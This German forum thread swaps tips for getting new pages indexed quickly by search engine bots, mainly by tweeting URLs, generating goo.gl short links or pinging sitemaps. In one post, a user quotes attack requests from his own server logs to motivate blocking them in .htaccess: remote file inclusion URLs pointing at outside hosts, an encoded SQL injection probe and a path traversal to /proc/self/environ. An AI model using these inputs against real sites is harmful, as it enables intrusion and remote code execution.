Der schnellste Weg neue Seiten in SuMas zu bringen

[phpBuddy]

Moin TPler,

ich habe im Laufe der letzten paar Monate mit verschiedenen Techniken versucht so schnell wie möglich neue Unterseiten (Blog Artikel, neue Produkte, etc.), von insgesamt 5 Domains auf unterschiedlichen IPs, in SuMas zu bringen, bzw. die Bots dazu zu bewegen die neue Seite zu besuchen.

Dabei komme ich zu dem Fazit, dass der mit großem Abstand schnellste Weg ist, die URLs der neue Unterseiten zu twittern. Bei allen getwitterten URLs war der Bot so sauschnell auf der Seite, dass zwischen dem Abschicken des Tweet bis zum Zeitpunkt des Besuchs des Google- und Yahoo Bots noch keine Sekunde verging!
Twitter scheint also doch für irgend etwas gut zu sein und so eine URL ist auch schneller getwittert, als man z.B. eine Sitemap prepariert hat und den Bot manuell in der Google Webmaster Zentrale anstößt.

Interessiert vermutlich niemanden, aber ich wollte es dennoch mal mitgeteilt haben.

[chorn]

Interessant finde ich das allemal - Daumen nach oben

[Cybergreek]

Interessiert vermutlich niemanden, aber ich wollte es dennoch mal mitgeteilt haben.

Ich bin doch nicht niemand
Danke für die Info!

[His.Master's.Voice]

Ich bin doch nicht niemand

Ich auch nicht
Aber wer ist den nun dieser Niemand - hat jemand den niemand schon gesehen

@Andreas
Danke für die Info!

[Thomas]

das ist so ziemlich der einzige Sinn, den ich in twitter sehe

[phpBuddy]

Okay okay, das mit dem Niemanden nehm ich zurück.
Google und Yahoo scheint da sehr eng mit Twitter zusammenzuarbeiten. Vermutlich, oder ziemlich offensichtlich, werden getwitterte URLs direkt an die SuMas weitergegeben.


Eine ebenso schnelle Möglichkeit den Googlebot auf die Seite zu holen ist übrigens auch, wenn man von einer neuen Seite eine KurzURL beim hauseigenen goo.gl Dienst erzeugen lässt. Das funktioniert aber logischerweise nur für Google. Der Yahoo Bot braucht dann doch noch ein bisschen, bis er von der neuen Seite erfährt.
Ich habe mir für die goo.gl Geschichte ein kleines Script geschrieben, dass beim Seitenaufruf von der angeforderten URL automatisch eine goo.gl KurzURL erzeugen lässt und diese in eine lokale Datenbank schreibt. Existiert eine entsprechende KurzURL bereits in der DB, wird goo.gl auch nicht kontaktiert. Auf die Art kann man im Laufe der Zeit von allen Seiten einer Website eine permanente KurzURL erzeugen lassen und entsprechend verwenden oder eben eine neu angelegte Seite selbst einmal aufrufen um den Spider auf die Seite zu holen. Ich nutze das z.B. auf meiner phpBuddy Seite, um in den Social Bookmarks zu den Artikel die passende KurzURL einzufügen. Das erleichtert das direkte (re)twittern von Artikeln, da der User sich dann nicht selbst um eine KurzURL kümmern muss. Nebenbei hat es auch noch den positiven Effekt, dass man intern mal sieht, wie Seiten so aufgerufen werden und muss dazu nicht in den Tiefen der Webserver Logs forsten. Dann stolpert man schon mal über böse Buben Seitenaufrufe wie z.B.:

http://www.phpbuddy.eu/dynamische-webseite-suchmaschinenfreundliche-url.html?start=1/?site=http://www.****.**.***.br/e-gov/noticia/ferramentas/dompdf/include/r.txt??
http://www.phpbuddy.eu/formulare-verarbeiten-mit-php-grundlagen.html?start=1%25%27%09%09and%09len%28user%29%3e0%09and%09%278%25%27%3d%278
http://www.phpbuddy.eu/file-inclusion-gefaehrliches-include-require.html?seite=....//....//....//....//....//..../proc/self/environ%00
http://www.phpbuddy.eu/file-inclusion-gefaehrliches-include-require.html?showall=1/index.php?seite=http://www.*******.com.au/images/idx?
usw.

Das kann man dann gleich noch dazu nutzen seine .htaccess zu verfeinern, um solche unsinnigen Versuche prophylaktisch direkt in's Datennirvana zu befördern, ehe der Request bis zur Applikation durchdringt.

Aber das ist ja ein völlig anderes Thema und hat nichts mit SEO zu tun.

[Settler]

Ein weiterer Niemand sagt danke

[MichaG]

Irgendwo hatte ich auch aufgeschnappt das die Google Webmastertools weiterhelfen können: unter Diagnose kann man ein "Aufruf wie durch Googlebot" starten - der Crawler wird dann also drüber geschickt und die Seite kommt in den Index. Ob's stimmt hab ich aber noch nicht ausprobiert.

Bei Twitter ist Google aber in der Tat seeehr schnell.

[phpBuddy]

irgendwo hatte ich auch aufgeschnappt das die google webmastertools weiterhelfen können: Unter diagnose kann man ein "aufruf wie durch googlebot" starten - der crawler wird dann also drüber geschickt und die seite kommt in den index.

[…] als man z.b. Eine sitemap prepariert hat und den bot manuell in der google webmaster zentrale anstößt.

doofe 10 Zeichen Regel

[MichaG]

Verdammt - und ich dachte ich war hier was die Posts angeht auf dem Laufenden

[whit3h4t]

Nur eine kleine Anmerkung am Rande, dass funktioniert aber nicht mit allen Twitter-Accounts. Der Account sollte schon seitens Twitter und Google ein wenig Trust genießen (Follower, Mentions, Listen, etc.) ... dann läufts auch mit den Urls

Was die Sitemap angeht^^ Eigentlich ist es ja kein Problem seine XML-Sitemap via WMT abholen zu lassen, nur muss man dann natürlich auch dafür sorgen, dass Google bei jeder Veränderung an der Struktur (Änderung im Inhalt, Neue Seiten, etc.) automatisch angepingt wird ... dann läuft das auch mit dem schnellen indexieren ... für die faulen gibt es auch eine Fülle von Pingdiensten, welche gleich noch Yahoo und Bing mitnehmen